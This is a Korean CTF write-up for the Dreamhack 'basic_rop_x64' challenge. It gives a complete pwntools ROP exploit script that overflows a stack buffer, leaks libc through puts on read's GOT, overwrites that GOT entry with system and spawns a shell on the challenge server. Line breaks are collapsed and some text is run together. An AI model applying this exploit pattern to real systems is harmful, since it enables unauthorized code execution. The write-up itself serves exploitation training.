Ubuntu 16.04 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)이번엔 Canary가 없고, NX만 있다.
amd64 아키텍처이다.
amd64 아키텍처의 ROP 가젯 구성은
가젯+인자+함수
스택 크기는 총 0x50인데, 버퍼는 rbp-0x40 부터이다. (rep stosq참고)
from pwn import * p=remote("host3.dreamhack.games", 19897) #p=process("./basic_rop_x64") e=ELF("./basic_rop_x64") libc=ELF("./libc.so.6") context.arch="amd64" context.log_level="debug" read_plt=e.plt['read'] # read 함수 PLT read_got=e.got['read'] # read 함수 GOT puts_plt=e.plt['puts'] # puts 함수 PLT pop_rdi=0x400883 # pop rdi 가젯 pop_rsi_r15=0x400881 # pop rsi 가젯
buf=b'A'*0x48 # 버퍼(0x40)+더미(0x8) payload=b'' payload+=bufputs(read_got)
payload+=p64(pop_rdi) # pop rdi 가젯 payload+=p64(read_got) # 인자(read GOT 주소) payload+=p64(puts_plt) # 함수(puts PLT 주소)read(0, read_got, rdx)
payload+=p64(pop_rdi)+p64(0) # pop rdi 가젯, 인자 # pop rsi/r15 가젯, 인자(read GOT주소), 인자(0) payload+=p64(pop_rsi_r15)+p64(read_got)+p64(0) payload+=p64(read_plt) # 함수(read PLT 주소)system("/bin/sh")
payload+=p64(pop_rdi)+p64(read_got+0x8) # pop rdi 가젯, 인자(read GOT주소) payload+=p64(read_plt) # 함수(read PLT 주소 → system)
p.send(payload) # payload 전송 p.recvuntil(b'A'*0x40) # write 함수에서 sizeof(buf) 만큼 버퍼를 출력하므로 read=u64(p.recvn(6)+b"\x00\x00") # read GOT 주소 가져오기 lb=read-libc.symbols['read'] # offset system=lb+libc.symbols['system'] # system 함수 주소 구하기 p.send(p64(system)+b"/bin/bash\x00") # system 함수 주소 + "/bin/sh" p.interactive() # 셸 획득